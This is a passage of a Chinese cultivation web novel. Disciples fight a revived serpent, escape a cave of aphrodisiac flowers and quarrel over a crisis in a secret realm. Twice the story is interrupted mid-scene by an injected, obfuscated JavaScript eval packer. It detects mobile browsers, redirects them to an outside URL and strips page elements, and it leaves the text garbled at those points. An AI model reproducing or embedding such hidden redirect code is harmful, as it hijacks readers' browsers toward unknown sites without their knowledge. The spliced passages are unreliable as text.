丹熏秘境压制境界，元婴以下，复杂机制对金丹弟子来说费力不讨好，三宗只将它作为筑基弟子历练身心的前期副本，若能带出丹熏草便为意外之喜。也只有敬水这般负责的师姐对宗门事务事必躬亲。 叶凌天从中受益颇多，非但巩固宗门内的地位，还大出风头，获得了两仪谷的友好声望。 而与施璇灵的剧情……也让他和这位天玑宗掌门独女的命运交缠在一起。 可如今，红珠破裂，他失去一大贡献；施璇灵目睹他不堪一面，想必此后再也不会被PUA；师妹健康地活了下来，已经是最好结局。 直觉不断向祝遐宁发出提问：改变剧情的代价，会这么简单吗？ “那颗珠子，师姐很想要吗？”谢菱月抿唇，懊恼地握住祝遐宁搭在她额上的手，清凌凌的黑眼珠向上沮丧望着她，“抱歉、师姐……” 她听上去分外自责。尽管事前一无所知，仍然会为了没能实现师姐的愿望而后悔。 祝遐宁猛搓师妹脸蛋，把她搓得头毛凌乱，脸蛋发红，迷茫地枕着师姐大腿“啊”地疑惑一声，才好笑道：“想什么呢，我夸你还来不及。” “师妹真棒！”她笑眯眯看谢菱月骤然亮晶晶的眼睛，捏住她脸颊肉，“努力地好好保护自己了。” 师妹白净的脸红扑扑。 “——我说你们两个，我还在这里呢。” 师姐妹温馨互动被一道幽怨声音打断。 施璇灵坐在几米之外，不快地瞪着这边。 她感觉自己像是误入幸福家庭的流浪狗，什么都没做就被踢了一脚，要问她的同伴在哪里……哦，刚刚干坏事被抓包了！ 好丢人！ 丢人到她都没好意思和谢菱月搭话！ 回去就让父亲把叶凌天赶出去！她气呼呼地想。 不过无论如何，叶凌天做的事都要交给天玑宗处理，就算她再理亏，也不会坐视逍遥剑派将叶凌天带走……身为掌门独女，她必须维护自家门派声誉。 现在只是让谢菱月的师姐师兄出出气，她便假装没看到。 谢菱月把目光往她那边移去：“你怎么和师姐在一起？” “是她主动要和我组队的！”施璇灵怒道，“注意你的说话语气，我才没有硬要倒贴！” “说起这个，我还没来得及谴责你们。” 她话锋一转，直指看热闹中猝不及防的祝遐宁：“你和那个男的都是金丹后期吧，怎么好意思找我这个筑基组队！” 还说什么按贡献分配……她一个筑基和她们一起行动，能捞到什么贡献！ 祝遐宁自知理亏，清清嗓：“不要妄自菲薄，何况去中心湖靠的可不是修为……” ——而是运气。 比方说，原书男主开局拿到速通道具，直接无视时空紊乱，打渔打了个爽，未来还能无限重开。以前的几次秘境开启，也有莫名其妙畅通无阻走到中心湖跟前的人。 不过数量太少，往往只当做人品大爆发不并入研究范围。同一个人第二次去也会失去效力，陷入鬼打墙。 她来这个秘境目的只有救下师妹，现在目标完成，对丹熏草并没什么指望。 但耽误施璇灵那么多时间——她似乎是不可救药的Top癌。于情于理她都应该倾力帮助作为弥补。 祝遐宁提出这个建议，出乎意料被迅速拒绝。 施璇灵摸摸自己腰侧长鞭，果断道：“不要。” “和你同行还有什么锻炼意义。”她目光一转，“不如……让我和谢菱月一起。” 祝遐宁惊讶：“可师妹现在……” “我照顾她就是了！”施璇灵精神起来，“天玑宗的人都听我的（‘那边地上跪着的那个除外’她嘟囔），到我这边保管她很快就能恢复完全。” 她想往谢菱月脸上瞄她的表情，却又不好意思，于是浮现一种纠结挣扎的神色。 祝遐宁又想笑了，但她努力憋住。 谢菱月撇嘴：“不要。” 施璇灵瞬间跳脚：“为什么！！” 太有意思了，祝遐宁看得津津有味，身后响起轻快脚步声。 “师妹——”来人拖着长长的语调，哀怨无比，“怎么我在那里忙碌，你在这舒舒服服看戏。” 施璇灵：“谁是戏啊？！” 谢菱月：“谢谢师兄。” 祝遐宁：“……你其实乐在其中，对吧。” 宿溪风挂着天然开朗的笑，祝遐宁非常了解这个表情，意味着师兄开始装傻，类比一下就是大型犬半夜翻垃圾桶偷吃了坏东西后，心虚撇开的那个半月牙眼白…… 宿溪风问：“对了，你们中有谁把那条玄蛇收进储物袋了？” 祝遐宁：“嗯？师兄何出此言？” 他指了指空荡荡的不远处，道：“尸体，不见了。” “…………” 祝遐宁：“……！！！” 她大惊失色！ 众人面面相觑，谢菱月坐起来，把手按在剑上。祝遐宁更是几步冲到满是血的草坪，这里没有丝毫异样痕迹。 她们竟没有一人发现玄蛇尸体的蹊跷失踪！ 这对几位感知敏锐的修士来说是不可能的，尤其是在限制修为的秘境，祝遐宁金丹后期的境界处于最顶层。 宿溪风看了看几人表情，打开扇子遮住脸：“如此看来……是诈尸？” 白色森林与外界接壤的平地，附近一圈没有茂密植被，毫无遮挡。比起诈尸，玄蛇更像凭空蒸发。 风轻悄悄刮过，凉意一丝一缕爬上后背。 祝遐宁首先怀疑是叶凌天的戒指老爷爷作祟。 野鬼乃一缕孤魂，算半个鬼修，而且看原著描写，他对逍遥剑派存在别样的在意与恶意。 可这说不通，叶凌天半死不活趴在远处，没了叶凌天作为凭借，百般手段他亦施展不出。 思索中，只听谢菱月一声低喝：“……谁在那！” 祝遐宁迅速转身拔剑，弹指间剑光已随动静斩出，将突然冒出的玄蛇头颅再次砍作两半！ 更诡异的事接踵而至……那玄蛇的双目通红，分为两半的蛇头伤口处看不见血肉，充斥着密密麻麻涌动的黑色丝线。 丝线牵引裂为两半的颅骨，伤口像被缝合一般由下往上缓缓贴合，最后严丝合缝，看不出一点痕迹。 这骇人一幕让众人都被震住。 施璇灵问出了所有人心声：“这是……什么东西啊？” 话音未落，玄蛇再次袭来！ 物攻无用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363024|183779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……祝遐宁捞起被盯上的谢菱月，飞身离开战场，对宿溪风大喝：“师兄！” 宿溪风应声抬手，巨大的法阵倏忽浮现，深绿色光隐没于草地，旋转三息，一股强大的风暴从法阵中挣脱而出！ 风暴如龙，狰狞地扑向玄蛇，玄蛇的丝线身体被迅猛搅碎。这一次，它没能重新拼凑复原。 “……” 死了吗？ 在场所有人都瞧得清清楚楚，诈尸的玄蛇目标只有谢菱月一人。 明黄双瞳染红，血肉被黑色丝线取代，若是它还有理智，至少应该明白此刻更应该做的是悄悄溜走，而不是发动自杀式袭击……情况无处不透露着诡异。 ……又是原著从未出现过的情节。 祝遐宁压制体内紊乱的灵气，她这段时间思虑过多，瓶颈多年的境界又有些松动，一时竟无法平息。 “师妹。” 宿溪风贴上来，将祝遐宁揽入怀中，一手横在她肩膀前。靠着师兄的胸膛，他沉稳的心跳声透过躯体传来。 “冷静。”他轻轻对着她的耳朵呢喃，少有的耐心，“……没事的。” 他大概是猜到了她在担忧什么。 宿溪风很难理解祝遐宁对宗门的责任感……就好像他很难理解她对师尊和师妹的看重。若是有天朝夕相处的二人死去，想必他也不会动容。 他漫不经心地想着这些，却与想法相反地下意识安抚： “它已经死了，不是吗。没事的。” 到底是过去近百年养成的习惯还是什么，他已经分不清，也懒得分。 岁月就是这样，它将人与人编织在一起，丝线中你中有我，我中有你。 “师姐，没事的。”谢菱月轻轻将师姐的手掌放在自己脸上，“我就在这里，不用担心我。” 施璇灵也道：“谢菱月你最近有点霉啊，回头去两仪谷除除晦气就没事了。”全然不在意霉运之一也是天玑宗弟子的死活。 祝遐宁很难言说她所望见的那个既定未来的可怖，定定神笑道：“我当然没事，只是境界要突破了，有点不适应。” “！”谢菱月衷心祝福，“恭喜师姐。” 施璇灵难以置信地瞅着她：“……你现在多大？”四五百？谢菱月的同门师姐年龄能差这么大？ “一百出头吧。”祝遐宁示意师兄松手，被后者抓住机会搂着不放炫耀：“是呢，我们遐宁是天才。” 百岁的金丹后期已经够惊人了！施璇灵一直以为这两人有两三百岁。 普通人筑基突破金丹就需百年之久，更别提越往后越艰难。金丹寿命提升至五百岁，还是有无数修士在此境界耗尽寿命陨落。 升入筑基要叩问大道，金丹则要践行自己选定的道路，元婴需要对自己的道有所感悟，方有一寸进阶可能。 而越往上，直到最后的证道机会……可遇不可求。 施璇灵深吸气：“……我竟从未听闻过你。” 百岁出头的金丹后期，足以名扬四域。 她光顾着震惊去了，身后突兀出现一道闪光。 “小心！” 祝遐宁将她拉开，那闪光飘忽落到她身上。虽然有些突然，但她对此有所预料，没有叶凌天，属于施璇灵的剧情终究还是来了……只不过。 无声翕张，那光芒吞没了两个人。 谢菱月和施璇灵看着彼此，缓缓地：“……？” 9. 识情 无边黑暗骤然响起落地声，等回音渐渐散去，寂静中只余不稳的呼吸，远远有水声流淌的细微响动。 祝遐宁扶着峭壁站稳，鼻尖迅速涌来矿物质似腐烂的臭味，伴随奇异花香，后者压过前者，逐渐麻痹身心。 拥着她的力道渐松，掉入这个洞穴的不只一人。 身后人“嗯？”地疑惑一声，施力的胳膊放下，转而打响指，上空点亮一簇光团。 洞穴环境蓦然映入眼中。 空旷的地下空间高达十米以上，向上望去，漆黑看不见尽头。空中没有风，静谧得只有一条小河道流淌，水流在不远处哗哗冲刷过岩石。 移动光团环绕照明四周，无数艳丽的深粉花朵妖艳地盛放在溶蚀的岩墙上，它们正是香味的来源。 花朵从阴暗中出现又隐没，无穷无尽填满洞穴岩壁，像呼吸一样轻柔开合，无风自动。 心中涌起异样燥热，宿溪风还没问，祝遐宁就先一步抓住他的手臂。 “师兄。”她冷静快速说，“对自己施清心诀。” 祝遐宁简直想痛批天道，这个副本是一定要一女一男走一遍才满意吗——天道本职是红娘，还是乱牵红线的那种？：) 周身盛开的粉花像极了牡丹，簇拥着中心站立的二人，却更为魔魅。它是凡人口中的欲.望之花，修士叫它“识情花”。 识情识情，它的花香能够引发人心底的欲.求——直白地说，催..情。对凡人是无解的chun药，但对修士来说只需一个清心诀。 这正是识情花名字的来历：它的效用只有一种解法。对于没有心爱之人的修士，自己对自己释放清心诀即可。而心有所属的，则需要心念之人施术。那些心爱之人不在身边的只能自认倒霉。 施璇灵正是栽在了这上面，她和叶凌天一同掉到了这里，但她不会清心诀，无法对自己释放解除控制。叶凌天“百般无奈”、“无法坐视不管”，于是就这样半推半就。 ……祝遐宁怀疑这是作者特地设计的缺陷，来为小说主角谋“福利”。 她飞速掐诀，念出施诀词，顿时感觉杂念退散，心旷神怡，再看周围，识情花不再在眼中摆动，她从幻觉中走出来了。 师兄被她一提点，也迅速想起这种魔花的作用，他掐完诀，顿了一会，被光照亮的小半张脸突兀浮现古怪的神色。 “……” “师兄？”祝遐宁担忧蹙眉，“是掉下来的时候伤到了手？” 她们撞上的正是这秘境另一种时空乱流，它连接着地下岩洞，不过危险伴随机遇，比方说这四面挤满的识情花，可是修真界一大畅销品。 无法确定心上人的心思？来一株！襄王有意神女无心就急流勇退，心意相通就趁机会诉衷肠滚床单（咳），再不济最简单的清心诀下去，问题解决。 ……也有很可怜的，心上人对他无意，只能灰溜溜求到对方面前解咒，然后悲愤离去。 幸好她和师兄都是百年老光棍。祝遐宁想。 她捧起师兄的胳膊，对方顺从地任她摆弄，光团照出冷白皮肤上鲜红似血的纹路，象征着拥有者曾失去对修士来说最为重要的经脉，从此双手握不住任何需要力量的武器。 祝遐宁没找到划伤，安心舒口气，师兄仍然一声不吭。 她抬头借幽微的光辨别对方神色：“怎么了，师兄？” 两人隐没在洞穴黑暗中，只有宿溪风手上那小团光照亮中间区域。她定睛打量半晌，发现师兄突然在……闷闷不乐？ …… 耳畔询问关切。 宿溪风却短暂出神，不久前发生的事情倒带，在脑海重演。 先是痛斥。 [你竟然对你师妹有不轨的想法！] [她看起来可不会喜欢你这种表面一套背后一套的人。] “……” 他回答的什么来着？ [你在说什么？] 毫不犹豫。 当时莫名其妙的心情同样回忆起来，清晰无比。 “…………” 手臂被人握在手中，指尖温热扫过他旧日的伤痕，带来惊人的灼热。 呼吸间花香越来越甜腻，他施诀早已无须手势和念咒，心念间即可释放，但怎么也无法驱散越来越躁动的渴望。 那么只有一个可能。 他神色莫名地垂眼，师妹黑润的眼睛被光照出一点温暖，含着不作假的……师兄妹情谊。 “……”宿溪风，慢慢地鼓起脸。 他清朗俊逸的脸做这个表情意外不违和，眼中含有幽怨，但和曾经用来骗师妹的惺惺作态不同，这次是真的。 完蛋了，他想。 他好像……喜欢上师妹了。 心脏剧烈跳动，将热流泵向躯干四肢。他几乎控制不住自己的喉咙，不可以吞咽，不可以去试图啃咬咀嚼什么……不可以幻想。 说实在的，祝遐宁对他是有点特殊，这倒是不假。 祝遐宁算是他从小带大，最初，他对那个空寂安静的小女孩毫无兴趣。被母亲放到至交门下，却对砚霜真君也没什么感情。 他非常习惯这样的冷眼旁观，这是他最适应的生活方式。 这样，在未来她们死去时，他也丝毫不会动容。 ……但渐渐的，祝遐宁有些不一样了。 她变得……特别有意思。 宿溪风的道是“逍遥”，他行事从心，往好处说是旷达，往坏里说是冷血，他自觉定义上应该是后者。 他对爱的所有概念都来源于母亲。 思及此，他忽然发问：“师妹，你想砍掉我的头吗？” 好的，接收到惊恐的目光（祝遐宁：师兄你磕到脑袋了？？），宿溪风确认了，师妹不爱他。 那他愿意被师妹割掉脑袋吗？ ……如果师妹是想要亲吻他的话，他好像是愿意的。 茅塞顿开。 又生郁闷。 因为师妹显然不单单是不想要他的头颅。 如果师妹真的知道他的过去，他的本性，他做过的事情…… 宿溪风没再想下去。 …… 师兄抽风了。 又把宿溪风脑袋掰下来检查了一遍，他乖乖弯着腰让祝遐宁到处乱摸，就是呼吸有些不稳。她找了又找，没找出想象中的伤口。 那应该是脑震荡，伤到内部了。祝遐宁沉痛地想。 宿溪风安静地弯腰，眼睛就在她拇指边，一动不动凝视她。 祝遐宁忽然有点不自在。 她故作自然地松手：“……既然没问题，那我们走吧，去找出口，不能让小师妹就那样待着。” 一个优雅转身，很好，祝遐宁迈开第一步，然后被宿溪风按住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363025|183779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师妹……”幽幽的声音。 “我忘记清心诀的手势了。”他吞吞吐吐道。 “？” 什么？ 祝遐宁怀疑地回头打量他：半张脸埋在阴影中，露出的眼睛和下垂唇角都很纯良无辜，好天然一大型犬。 说他能忘记最基础术法的手势好像很正常。 ……才怪呢！ “你忘记了清心诀的手势？”祝遐宁复述，眉毛挑起。 宿溪风点点头，不好意思般：“师妹能对我释放一个，让我仔细看看吗？” “……”好怪。 师兄好不对劲。 宿溪风其人在她有印象时，就是个天赋恐怖到吓人的法修天才。 若是他在骗自己，那么目的是？ “……你看好了。”祝遐宁慢动作掐了个诀，对宿溪风释放。 他的神色没有丝毫波动，完全不像是刚从控制中出来，跟着装模作样对自己也放一个，看着祝遐宁已经僵硬到卡顿的样子，骤然笑了。 “被我吓到了？” 他大笑开，和以往一样自然爽朗，还试图去勾她的肩膀：“开个玩笑开个玩笑……” 眼见祝遐宁的表情冷漠下去，他默默收敛：“……好像有点不合时宜？” 祝遐宁摸着自己狂跳的心脏，捏起拳头。 ……不是，师兄你有病吧！ 她差点被吓死了！以为要秽乱宗门、罪不容诛！ 宿溪风立刻安分，在她怒气冲冲的身影后老实异常，师妹转过去后，他的神色瞬间冷淡下来。 虽然和他预想的一样，祝遐宁甚至是迫不及待地相信了，但还是……好不爽。 祝遐宁的法术打在身上那刻，识情花的效果骤然解除。但他心里的躁动越来越难忍。 宿溪风毫不讲理地将烦闷的心情怪罪到叶凌天的诅咒。 ——一定要找个办法杀掉他。 他想。对似有所觉回头的祝遐宁轻轻微笑。 洞穴越往前走越狭窄，逐渐的，她们踏入小溪，涉水前行。 水声哗啦，洞穴除了她们二人之外像没有别的生物，只有两道呼吸，祝遐宁越来越接近她记忆中叶凌天离开的地方。 师兄安静一路，此时突然搭话：“师妹——” 祝遐宁专心找出口，随口应声：“怎么了？” “我的奖励。”宿溪风戳戳她的肩膀，悠悠道，“现在是两个了。” 祝遐宁一愣，想起来她之前答应的……啊，确实是两个，一个帮忙欺负叶凌天解气，一个是杀死诈尸玄蛇。 不过，她无语地笑了：“怎么变成奖励了？这分明是等价交换。” 宿溪风帮助她改变剧情，她就答应宿溪风的要求。 反正，师兄不会提出超过她能力范围内的请求，她对彼此师兄妹情谊很有信心。 宿溪风沉吟：“我现在就想兑换一个。” “嗯？”祝遐宁侧耳。 “这里好黑啊，有点害怕。” 没反应过来，他亲昵的声音忽然近在耳侧，吐息打在耳廓，瞬间麻掉一片。可狭窄的通道让她没法立即转身，师兄的头搭在她的肩膀上，下垂的手指被另一只手挤入。 滚烫的五指磨蹭她的指节，探入、交叉继而攥紧。 他才愉快贴着她的耳朵笑：“这样就好……谢谢师妹。” 10. 蛇蜕 甬道分外静谧，让宿溪风的声音毫无保留地传入她耳中。他吐字黏腻，含着笑压低声音撒娇般随意扯了个借口，说出“害怕”二字时分明满是理直气壮。 不像害怕，更像仗着没法拒绝，得寸进尺。 肩膀被沉沉的毛茸茸脑袋压着，祝遐宁不用转头看，就能猜到他此时桃花眼必然弯弯满是笑意。 就当做是只大金毛吧，反正都是金发，也都亲人乖巧热烘烘，何况师兄行事一向肆无忌惮……编不下去了！ 祝遐宁冷酷无情地换另一只手反身掐住弯腰的人探来的脸蛋。 “唔。”宿溪风吃痛，可怜地眨着睫毛，“师妹怎么能恩将仇报……” “别抽风。”祝遐宁想叹气，“你又在闹什么脾气？” 她情不自禁回忆起一些童年旧事。 砚霜真君没有照顾小孩的经历，起初祝遐宁在求如山上过得那叫水生火热。有时掌门看不过眼，会让自家师妹把小孩送来，但祝遐宁死活不走。 她小时候性子安静倔强，不情愿时只会抱着孟砚霜的衣摆，眼泪可怜地含在眼眶，要掉不掉。掌门看得头更大了。 “你不如让那个大的来照顾她。”掌门长吁短叹，对师妹苦口婆心，“看你把小孩养成什么样了！一天吃一顿饭，小孩正是长身体的时候，谁和你这样整天睡大觉啊！” 砚霜真君很听劝，第二天把祝遐宁带到陌生的少年身前。 “这是师兄。”师尊告诉她，那个保持微笑，看起来礼貌友好的金发少年叫宿溪风。 溪风，自由的小溪和山风。祝遐宁有点喜欢这个名字。 ……然后她飞速推翻了这个喜欢。 师兄实在是，太自由了。 她们一开始只能称得上泛泛之交，孟砚霜虽然指望年长些的少年带带师妹，但似乎对他没抱太大希望。相反的是，祝遐宁对宿溪风很是好奇，这是一种爱屋及乌——因为是同门师兄，所以就算宿溪风并不亲热，她也会跟在他身后。 一来二去，莫名有一天，师兄接纳了她，开始带着她玩。从求如山上玩到山下，逛凡人街市，赏琳琅满目的灯景。 他对她笑的时候越来越多，逢魔之时昏黄的光照在他灿烂的金发上，几欲燃烧。他告诉她留在这里，师兄晚点来找你，自顾自走了。 ——活了两辈子的祝遐宁分辨得出喜恶。 她看起来乖乖答应，实际上对方一离开，她就拍拍屁股回山上。 笑死，被80？完全不可能。 可宿溪风看到她时，没有半分意外或者慌张，一如往常地笑着和她打招呼：“师妹。” 早年间，她就模模糊糊意识到，这位师兄性格上一大缺陷。 他像那种对亲密关系过敏的猫，被人摸久了就会触发防御机制，跳起来咬人类一口，然后淡定地又坐回去，舔舔毛，好似什么都没发生。 像是高高兴兴带她出去玩，气氛正好时，莫名其妙把她丢下一个人回山。 又好像此时此刻，他明知是怪话，还硬要在她警戒边缘挑衅。加上之前那个并不好笑的玩笑，她觉得宿溪风其实都不知道自己在做什么。 很麻烦，很难搞。 师兄心，海底针。祝遐宁腹诽，可看着宿溪风“我听不懂你在说什么”的表情，她又油然而生无奈。 “那就握紧了，快点走。”她分外无情地毁灭所有暧昧气氛，“绝对不能让小师妹在上面孤军奋战。” “……” 宿溪风都有点想排挤谢菱月了。 恶欲再度涌上，不被发现杀掉谢菱月的办法在脑海打转，但要是失败就得不偿失。他没有赌性，念头打个转就识时务放弃了。 郁闷让他的指尖微微泄力，祝遐宁作势松手：“不要牵了？” “要。”宿溪风立刻回握，手心里另一人不自在地动了动。他本来说不清道不明的心情，又忽然由阴转晴。 …… 洞穴渐渐刮来几缕风，带着外界清新气息。适应黑暗后就不再那么需要照明，但宿溪风固执地让光团环绕两人旋转，像在吸引她的注意力。 但也确实让她发现了不得了的东西。 “师兄，照一下那边。” 她猛地停下，宿溪风朝师妹指着的地方看去，光团变得如灯笼大小，晃晃悠悠飘荡照亮洞穴内壁附着的半透明胶状物。 那是斑斓的蛇蜕。 无比巨大，菱形纹路每个格子足有硬币大小，彰显着归属者可怖的体型。蛇蜕干脆发白，似乎年代久远。 祝遐宁走近，谨慎地伸手触碰，蛇皮意外坚韧，光团晃来时，泛起鲜红的波光。 这条或许是红色的蛇体型定然比玄蛇还要大上数倍。 灵兽体型和实力常常挂钩，也就是说，眼前的蛇蜕主人至少是金丹后期。 祝遐宁思忖后，无缘由的担忧让她决定把蛇蜕装入储物袋带走。 秘境变故颇多，剧情已经发生改变，她必须小心行事。 希望是她想多了。 除了这几个插曲，一路顺利。 身边的风越来越大，临近出口，几乎是呼啸着向内灌。光渐渐地照进洞穴，可见度越来越高，恍如隔世。 此时应该是临近黄昏，太阳不再热烈释放光热，天际微暗，还未昏黄，白得灰扑扑。 她们还牵着手，祝遐宁望见光时，忍不住心生终于结束了的如释重负。 师兄这次犯病太持续，一路上哼着歌，掌心时而握紧又松开，带来异常鲜明的触感。祝遐宁浑身鸡皮疙瘩，却不好用力回握警告——到底是顾忌师兄有手伤。 到了后来，她几乎习惯指节温热的磨蹭。宿溪风身上温度高，在凉飕飕的洞穴像个恒温的暖手宝。 师兄难得这样由内而外的愉快，祝遐宁几乎放弃地想，算了，就让师兄快乐一会吧，她牺牲一下…… “……” 走进大片白光中，离开洞穴，祝遐宁睁开被刺痛的眼睛，视野恢复的刹那，和眼神复杂的敬水对上视线。 “…………” 守在洞穴前的敬水欲言又止，视线不自然错开，下落到她的手上，凝视几秒，又撇开。 什么都没说，又像是什么都说了。 祝遐宁：“……” 不、不不不、这个不行。 她艰难地：“……你听我 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他们会守在秘境外，通过特殊渠道监测秘境内发生的动静，以便及时将受伤的弟子带离秘境接受治疗。 “可如你亲眼所见谢师妹的遭遇。”敬水说，“在她被玄蛇追逐的时候，理论上，她就应该被带离了。” 而不是最终面临生死一线。 出现这种情况，有两种可能。 其一，秘境外的管事全被神秘势力撂倒，无力兼顾她们。 其二。 秘境与外界联通的渠道，被隔断了。 敬水说出这句猜测时，远处响起嘹亮悠扬的兽鸣。 逢魔时刻，昏沉暗下的天幕风雨欲来。秘境紊乱的时空让三宗弟子不敢擅自外出，此时任何落单都是致命的。 此起彼伏的灵兽叫声让天地之间更为静谧。她们仿佛误入另一个世界，敬水掌握着这个世界的某把钥匙，她带着两人弯曲绕路，奇妙避开了每一处乱流。 祝遐宁心情沉重之余，忍不住为她叹服：“真好奇师姐你是怎么做到的。” 若是这么简单就能突破这道封锁，对秘境格外热情的两仪谷想必早早把中心湖捞空。 敬水却是忍不住苦笑：“你认为我为什么次次都要跟来？” 她如今金丹初期，正是需要巩固修为，谋求机遇突破的时候。频繁地陪伴筑基弟子来丹熏秘境，只能说是掌门一脉的责任心。 眼下看来并非如此。 她的目光黑沉沉。三人飞速移动，她像陷入思绪中，半晌才回神指一道岔路，接着转头对祝遐宁说： “前几次或许是存了照拂师妹们的意思。但直到时隔许久，为了另一位师妹再入秘境，我才突然察觉秘境的异变。” 于是她开始一而再、再而三地不停来到这里。 “……和我猜测的一样。”敬水的语调平稳，却似惊涛骇浪，“我们有麻烦了。” 声音落下，一道闪电轰然撕裂天空。 天彻底黑了。 11. 争端 雷云凝聚盘旋于黑天，月轮被淹没，暗无天日。 狂风吹拂过山岗，鸟雀不安地鸣叫，声声凄厉划破夜空，应和此起彼伏的灵兽长啸，整个秘境陷入动荡不安的氛围中。 太阳下山的速度太快，只一转眼，挂在天边的日轮就彻底沉入山底，赤霞还未完全烧尽天边便消散，徒留日空被无边黑夜吞噬。 仿佛某种预兆。 祝遐宁回望天幕，正巧闪电乍响，照亮一片山林，刺入她眼中。 “平时的夜晚，也像今天这样？”宿溪风的发丝被风吹起，他只顾替祝遐宁挽起头发，不忘敏锐地问。 “不，这里的时间流速是正常的……按理来说。”敬水道，“我也是第一次遭遇这样的暴动。” 她愈发频繁地走神，几番绕路下，三人终于来到临时驻扎地。 火光遥遥探进黑夜，绕过漆黑林木，一群或站或坐的修士在崖洞中围着火堆翘首以盼。见敬水带人归来，逍遥剑派的弟子放松下来：“敬水师姐！” “师姐！”谢菱月冲过来。 她难得焦急，黑亮的眼睛仔细打量祝遐宁全身，紧张无比：“没有事吧？” “和我在一起能有什么事。”回答她的是懒洋洋的宿溪风。 他盯着谢菱月搭在祝遐宁胳膊上的手，显然要开口说出一些后者并不想听见的话。 祝遐宁险之又险地打断：“——师妹，身体无碍吧？” “两仪谷的枳实道友帮我看过了。”谢菱月道。 祝遐宁沿着她视线方向望去，一个清丽可爱的女孩抬头，惊讶地冲她们绽开微笑。 “天玑宗的施道友给了很多丹药，但我还是拜托了两仪谷，枳实道友是止观真君的真传弟子，医术高明。”敬水补充，果然听到止观这位大名鼎鼎医者的名字，祝遐宁迅速放心。 不等多问几句，身着明黄弟子袍的天玑宗弟子来到她们身边，面色阴晴不定：“敬水道友，你要找的人终于找到了？” 他看样貌三十上下，以他对话敬水的口吻，想必是天玑宗领事的弟子。 果不其然，施璇灵见势不对，走来叫他一声“范师兄”，他迅速缓和脸色：“师妹，秘境危机重重，我只是想不通怎么有人在这个节骨眼乱跑……” 这就有些强词夺理了。 施璇灵没来得及解释祝遐宁是保护她才掉入时空乱流，敬水先一步冷声道：“若是不将祝师妹找来，你我不一定活着走出这里。” 听到这句话的其他弟子纷纷脸色一变，施璇灵咬咬牙问：“我们这么多人在这里……” “没有意义。”敬水的语气冰冷，“看看周围的灵兽，它们远比我们更多。” 这样宣判的口吻一时让空气凝滞。 敬水似乎有些失控，她皱着眉揉太阳穴，疲惫道：“现在当务之急是联系上外界……你们有进展吗？” “没有，弟子牌的感应也被切断了。”有名天玑宗弟子答道，剩下两个宗门的也纷纷点头。 “那就在这里等待救援？”范师兄“啧”了声，“谁知道什么时候才能解决！” 不明的危机，还与外界联络中断，让不安情绪在人群中扩散。 不能这样下去。 未知永远是最可怕的，祝遐宁问：“师姐，你知道异变的根源之地在哪吗？” 从头到尾，敬水展现了对这次事件超乎想象的了解，她直觉般认定师姐可以给出这个答案。 “……在中心湖。”敬水静默道，“你……” 她欲言又止，可面前师妹那双坚定的眼睛在告诉她：是的，交给我吧。 比起敬水想象中师妹的挺身而出，祝遐宁心中更多是“终于来了”的尘埃落定。 她从不认为改变剧情会那么轻松。 叶凌天还远远躺在天玑宗弟子包围中昏迷，命运线已经有了很大偏移。冥冥之中，她能感受到似乎路线在被一双无形的手纠正。 决不能坐以待毙。 天道想把德不配位的主角推到世界的正中心，她偏要反其道而行之。 “和师兄掉入的洞穴中，我们找到了这个。”祝遐宁从储物袋掏出蛇蜕，在火光下展开，“我怀疑这里存在一只至少是金丹后期修为的灵兽。” 众人齐齐倒吸一口气。 范师兄脸色大变：“……金丹后期！你确定？” “我确定。”祝遐宁肯定道，“今天我才杀死了一只金丹中期的玄蛇，这蛇蜕大小远超玄蛇。” 那位中年男子惊疑不定地看她，可他没能从祝遐宁眼中找出谎言的痕迹。他几乎是冷笑：“你不会想说你是金丹后——” “——！” 气势轰然铺展开，包裹住大放厥词的范师兄，祝遐宁望着骤然冒出冷汗的男人：“你若不信，大可一试。” 宿溪风轻笑的声音在鸦雀无声的人群回响。 敬水叹气：“范道友，何至于此。” 他自然不想相信——作为天玑宗以天赋闻名的弟子，他百岁成就金丹，两百岁金丹中期，可祝遐宁还要叫敬水一声“师姐”！ 他甚至都不知道她名姓！这般无名之辈，居然比他范陈更要…… 一时之间，忮忌之火焚烧身心。 用金丹后期的威压威胁完范陈后，祝遐宁果断道： “那就这样决定了。我和敬水师姐去中心湖探查情况，师兄、你留在这里照顾大家。” 宿溪风不乐意，比他还不乐意的是范陈：“等等，我也要去！” 施璇灵头疼：“范师兄，你……” “不！”他强硬地打断这位一向尊重的掌门独女，“我的意思是，我不信任你们，尤其是你，敬水。我想问很久了，你为什么会知道这个秘境时空乱流的所在？” 这个问题犹如一道惊雷，所有人都愣住了。 想必这也是很多人埋在心底的疑惑，眼看被人先一步提出，施璇灵也不再阻拦，静静等待敬水的答复。 “……” 敬水很明显是抗拒回答的。 但范陈的质疑先她一步：“你不敢说？又或者，其实你早已被什么不知名的东西顶替了，所以才如此熟悉这里？” 他的怀疑细想之下似乎很有可能性，灵兽化形乔装成人是经久不衰 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于是，众人决定一同前往中心湖，其他人留在远离中心湖的树丛中。 …… 一番闹剧，敬水显得心事重重。 她除了指出方向之外不再说话。祝遐宁安慰几句未果后，宿溪风蹭到了边上。 “师妹，真的不需要我吗？” 他的话听上去仿佛迫不及待想被祝遐宁差使。 范陈在边上翻了个鄙夷的白眼。 宿溪风丝毫不以这番模样为耻，他笑吟吟地撇范陈一眼：“范道友若是眼睛不适可以去找枳实道友，医者仁心，想必不忍看你受苦。” 